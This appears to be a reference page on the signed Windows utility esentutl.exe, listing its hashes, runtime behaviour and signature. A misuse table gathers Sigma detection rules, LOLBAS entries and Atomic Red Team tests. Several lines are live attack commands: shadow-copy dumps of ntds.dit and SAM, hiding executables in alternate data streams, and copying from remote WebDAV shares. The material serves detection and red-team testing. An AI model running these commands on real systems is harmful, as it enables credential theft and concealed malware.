esentutl.exe

  • File Path: C:\Windows\SysWOW64\esentutl.exe
  • Description: Extensible Storage Engine Utilities for Microsoft(R) Windows(R)

Hashes

Type Hash
MD5 9489B81DE623E4C92342EF258D84B30F
SHA1 13E0808AFD68FBB31DE1BF49082C017881E019A3
SHA256 1423E39922CF30ED6A9D0EB9BA463E6723FE166641DAB9F3B27E4A8D30ADDCB5
SHA384 5FAF132E09805B7822A52AE70A56E6421FCD1E78A413E736428ADC90989C042B0049C5F883C7829BD8A0A49F952DA6BD
SHA512 92EB6314C75DD04C815873578F34DF5171A58815ED9CC8FB0046B94EFFFA0131AB65565352B2C60C00B6781D85BAB0CF8BCE1024A75E44A4FA1437F6F4786660
SSDEEP 6144:4OrKGG0GHqzPRHGfRldZ+YWvWmA97UX0RA0jPqNBSljUvVF0:4ObG0chfbGvQBUX0RA0jPqHojUvL
IMP 71099B51C33E38DAA19CD45879503390
PESHA1 889C453A79B4496FB4EAE8EB4322FF31AB70C4B2
PE256 EBE3C086288597CFF9F6CCA77690CA5B318271488918A3E9E4DC3F2D808F55E5

Runtime Data

Child Processes:

conhost.exe

Open Handles:

Path Type
(RW-) C:\Users\user File
(RW-) C:\Windows File
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000004.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000004.db Section
\BaseNamedObjects\C:*ProgramData*Microsoft*Windows*Caches*cversions.2.ro Section
\BaseNamedObjects\NLS_CodePage_1252_3_2_0_0 Section
\BaseNamedObjects\NLS_CodePage_437_3_2_0_0 Section

Loaded Modules:

Path
C:\Windows\SYSTEM32\ntdll.dll
C:\Windows\System32\wow64.dll
C:\Windows\System32\wow64cpu.dll
C:\Windows\System32\wow64win.dll
C:\Windows\SysWOW64\esentutl.exe

Signature

  • Status: Signature verified.
  • Serial: 3300000266BD1580EFA75CD6D3000000000266
  • Thumbprint: A4341B9FD50FB9964283220A36A1EF6F6FAA7840
  • Issuer: CN=Microsoft Windows Production PCA 2011, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
  • Subject: CN=Microsoft Windows, O=Microsoft Corporation, L=Redmond, S=Washington, C=US

File Metadata

  • Original Filename: esentutl.exe
  • Product Name: Microsoft Windows Operating System
  • Company Name: Microsoft Corporation
  • File Version: 10.0.17763.529 (WinBuild.160101.0800)
  • Product Version: 10.0.17763.529
  • Language: English (United States)
  • Legal Copyright: Microsoft Corporation. All rights reserved.
  • Machine Type: 32-bit

File Scan

  • VirusTotal Detections: 0/70
  • VirusTotal Link: https://www.virustotal.com/gui/file/1423e39922cf30ed6a9d0eb9ba463e6723fe166641dab9f3b27e4a8d30addcb5/detection/

Possible Misuse

The following table contains possible examples of esentutl.exe being misused. While esentutl.exe is not inherently malicious, its legitimate functionality can be abused for malicious purposes.

Source Source File Example License
sigma sysmon_suspicious_remote_thread.yml - '\esentutl.exe' DRL 1.0
sigma win_susp_esentutl_activity.yml title: Suspicious Esentutl Use DRL 1.0
sigma win_susp_esentutl_activity.yml description: Detects flags often used with the LOLBAS Esentutl for malicious activity. It could be used in rare cases by administrators to access locked files or during maintenance. DRL 1.0
sigma win_susp_vssadmin_ntds_activity.yml - https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/ DRL 1.0
sigma win_susp_vssadmin_ntds_activity.yml - esentutl.exe /y /vss *\ntds.dit* DRL 1.0
sigma win_susp_vssadmin_ntds_activity.yml - esentutl.exe /y /vss *\SAM DRL 1.0
sigma win_susp_vssadmin_ntds_activity.yml - esentutl.exe /y /vss *\SYSTEM DRL 1.0
sigma proc_creation_win_alternate_data_streams.yml - 'esentutl ' DRL 1.0
sigma proc_creation_win_copying_sensitive_files_with_credential_data.yml - https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/ DRL 1.0
sigma proc_creation_win_copying_sensitive_files_with_credential_data.yml - Image\|endswith: '\esentutl.exe' DRL 1.0
sigma proc_creation_win_esentutl_webcache.yml title: Esentutl Steals Browser Information DRL 1.0
sigma proc_creation_win_esentutl_webcache.yml description: One way Qbot steals sensitive information is by extracting browser data from Internet Explorer and Microsoft Edge by using the built-in utility esentutl.exe DRL 1.0
sigma proc_creation_win_esentutl_webcache.yml Image\|endswith: \esentutl.exe DRL 1.0
sigma proc_creation_win_susp_esentutl_params.yml title: Esentutl Gather Credentials DRL 1.0
sigma proc_creation_win_susp_esentutl_params.yml description: Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab. DRL 1.0
sigma proc_creation_win_susp_esentutl_params.yml - 'esentutl' DRL 1.0
sigma registry_event_esentutl_volume_shadow_copy_service_keys.yml title: Esentutl Volume Shadow Copy Service Keys DRL 1.0
sigma registry_event_esentutl_volume_shadow_copy_service_keys.yml description: Detects the volume shadow copy service initialization and processing via esentutl. Registry keys such as HKLM\\System\\CurrentControlSet\\Services\\VSS\\Diag\\VolSnap\\Volume are captured. DRL 1.0
sigma registry_event_esentutl_volume_shadow_copy_service_keys.yml Image\|endswith: 'esentutl.exe' # limit esentutl as in references, too many FP to filter DRL 1.0
LOLBAS Esentutl.yml Name: Esentutl.exe  
LOLBAS Esentutl.yml - Command: esentutl.exe /y C:\folder\sourcefile.vbs /d C:\folder\destfile.vbs /o  
LOLBAS Esentutl.yml - Command: esentutl.exe /y C:\ADS\file.exe /d c:\ADS\file.txt:file.exe /o  
LOLBAS Esentutl.yml - Command: esentutl.exe /y C:\ADS\file.txt:file.exe /d c:\ADS\file.exe /o  
LOLBAS Esentutl.yml - Command: esentutl.exe /y \\192.168.100.100\webdav\file.exe /d c:\ADS\file.txt:file.exe /o  
LOLBAS Esentutl.yml - Command: esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o  
LOLBAS Esentutl.yml - Command: esentutl.exe /y /vss c:\windows\ntds\ntds.dit /d c:\folder\ntds.dit  
LOLBAS Esentutl.yml - Path: C:\Windows\System32\esentutl.exe  
LOLBAS Esentutl.yml - Path: C:\Windows\SysWOW64\esentutl.exe  
LOLBAS Esentutl.yml - Link: https://dfironthemountain.wordpress.com/2018/12/06/locked-file-access-using-esentutl-exe/  
atomic-red-team index.md - Atomic Test #6: Create Volume Shadow Copy remotely (WMI) with esentutl [windows] MIT License. © 2018 Red Canary
atomic-red-team index.md - Atomic Test #3: esentutl.exe SAM copy [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #6: Create Volume Shadow Copy remotely (WMI) with esentutl [windows] MIT License. © 2018 Red Canary
atomic-red-team windows-index.md - Atomic Test #3: esentutl.exe SAM copy [windows] MIT License. © 2018 Red Canary
atomic-red-team T1003.002.md - Atomic Test #3 - esentutl.exe SAM copy MIT License. © 2018 Red Canary
atomic-red-team T1003.002.md ## Atomic Test #3 - esentutl.exe SAM copy MIT License. © 2018 Red Canary
atomic-red-team T1003.002.md Copy the SAM hive using the esentutl.exe utility MIT License. © 2018 Red Canary
atomic-red-team T1003.002.md esentutl.exe /y /vss #{file_path} /d #{copy_dest}/#{file_name} MIT License. © 2018 Red Canary
atomic-red-team T1003.003.md - Atomic Test #6 - Create Volume Shadow Copy remotely (WMI) with esentutl MIT License. © 2018 Red Canary
atomic-red-team T1003.003.md ## Atomic Test #6 - Create Volume Shadow Copy remotely (WMI) with esentutl MIT License. © 2018 Red Canary
atomic-red-team T1003.003.md The Active Directory database NTDS.dit may be dumped by copying it from a Volume Shadow Copy created with esentutl. MIT License. © 2018 Red Canary
atomic-red-team T1003.003.md wmic /node:”#{target_host}” process call create “cmd.exe /c esentutl.exe /y /vss #{source_path} /d #{target_path}” MIT License. © 2018 Red Canary
atomic-red-team T1564.004.md esentutl.exe /y #{path}\autoruns.exe /d #{path}\file.txt:autoruns.exe /o MIT License. © 2018 Red Canary

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